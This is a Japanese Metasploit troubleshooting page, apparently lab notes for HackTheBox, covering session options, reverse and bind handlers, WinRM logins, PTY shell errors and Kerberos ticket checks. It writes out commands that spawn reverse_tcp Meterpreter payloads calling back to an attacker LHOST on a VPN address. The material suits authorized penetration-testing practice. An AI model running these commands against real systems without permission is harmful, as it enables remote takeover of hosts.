トラブルシューティング
Metasploit で詰まったときは、セッション、到達性、オプション、OS とアーキテクチャの前提を確認します。
モジュールオプションが分からない
Section titled “モジュールオプションが分からない”show optionsshow advancedshow targetsshow payloadsinfo -dshow missingターゲットを選んでから show payloads を実行すると、そのターゲットで使えるペイロードが絞られます。バージョンによってオプション名や既定値が変わることがあるので、初回は確認します。
SESSION オプションで失敗する
Section titled “SESSION オプションで失敗する”local exploit や post モジュールは SESSION(単数)を要求することが多いです。
sessions -lrun verbose=true session=3run sessions=3 のように複数形で渡すと、Msf::OptionValidateError になることがあります。
reverse セッションが返ってこない
Section titled “reverse セッションが返ってこない”最初に LHOST を確認します。VPN インターフェースの IP アドレスが変わっていたり、別のインターフェースを指定していたりすると、ハンドラが起動してもセッションは返りません。
run verbose=true lhost=10.10.16.10 lport=4444jobs -lsessions -l確認点です。
- 対象から
LHOST:LPORTに到達できるか。 tun0など HTB VPN の IP を指定しているか。- ポートが別プロセスや別ハンドラと衝突していないか。
- staged ペイロードの取得時に接続するホストが、誤ったインターフェースを向いていないか。
fetch ペイロード系では FETCH_SRVHOST、FETCH_SRVPORT、FETCH_WRITABLE_DIR が出ることがあります。対象から Kali へ取りに来る経路と、対象上の書き込み可能 directory を確認します。
バインドシェル / bind Meterpreter がつながらない
Section titled “バインドシェル / bind Meterpreter がつながらない”bind ペイロードは対象側が待ち受け、Kali 側から対象へ接続します。
確認点です。
- Kali から対象の bind ポートへ到達できるか。
- Windows Firewall や local firewall が inbound を止めていないか。
- NAT や別セグメント越しに対象の待ち受けポートへ到達できるか。
- ハンドラ側の
RHOSTとLPORTが正しいか。
到達性がない環境では、reverse ペイロードへ切り替える方が早いことがあります。
SSH / WinRM の資格情報は正しいのにセッションができない
Section titled “SSH / WinRM の資格情報は正しいのにセッションができない”認証成功とセッション作成は別です。CreateSession が無効ならセッションは作られません。
show optionsrun verbose=true createsession=truesessions -lWinRM は domain 指定で失敗しやすいです。
run verbose=true domain=. rport=5985 ssl=falseAD domain の資格情報なら DOMAIN を NetBIOS / FQDN 相当に変えます。HTTPS WinRM なら通常は RPORT 5986 と SSL true です。
Meterpreter の shell -t / shell -it が失敗する
Section titled “Meterpreter の shell -t / shell -it が失敗する”通常の shell は動いても、PTY 付きシェルだけが次のようなエラーで終了することがあります。
[-] core_channel_write: Operation failed: 32[-] core_channel_write: Operation failed: 932 は EPIPE、9 は EBADF です。mettle(sysinfo の BuildTuple が *-linux-musl)では特に起きやすいです。features は msfconsole 側のコマンドです。
vim / tmux が必要な場合は、攻撃機側の socat / nc で別のリバースシェルを受けてフル TTY を作れます。手順は Fully Interactive TTY を参照してください。
shell_to_meterpreter が OS 誤検知で失敗する
Section titled “shell_to_meterpreter が OS 誤検知で失敗する”OS やアーキテクチャの誤検知により昇格が失敗することがあります。ペイロードとプラットフォームを明示します。
run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=linux/x64/meterpreter/reverse_tcp platform_override=linux handler=trueWindows の場合です。
run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=windows/x64/meterpreter/reverse_tcp platform_override=windows handler=true元の SSH / シェルセッションは閉じずに残します。昇格失敗時の復旧経路になります。
local exploit が vulnerable なのにセッションが開かない
Section titled “local exploit が vulnerable なのにセッションが開かない”check は通るがセッションが返らないときは、ハンドラの LHOST、ペイロードのアーキテクチャ、書き込み先、取得方法を確認します。
sessions -lで正しい Meterpreter / シェルセッション id を確認する。show optionsでSESSION、LHOST、ペイロードオプションを確認する。run verbose=true lhost=<tun0のVPNアドレス>のように実行時引数で明示する。- Linux / Windows、x64 / x86、staged / stageless を対象に合わせる。
FETCH_WRITABLE_DIRが書き込み可能か、FETCH_COMMANDが対象に存在するか確認する。
DB に繋がらない
Section titled “DB に繋がらない”db_statusmsfdb statusmsfdb startdb_connect -y ~/.msf4/database.ymldb_statusワークスペースを切り替えたつもりで default のまま調べていることもあるので、workspace も確認します。
チケット操作に進む前に見ること
Section titled “チケット操作に進む前に見ること”sessions -i 1shellklist観察点です。
- TGT が現在のログオンセッションにあるか。
- 対象サービスの TGS がキャッシュされているか。
Client/Server/ 有効期限 / 暗号方式。- DC と端末の時刻差、名前解決、SPN の整合性。

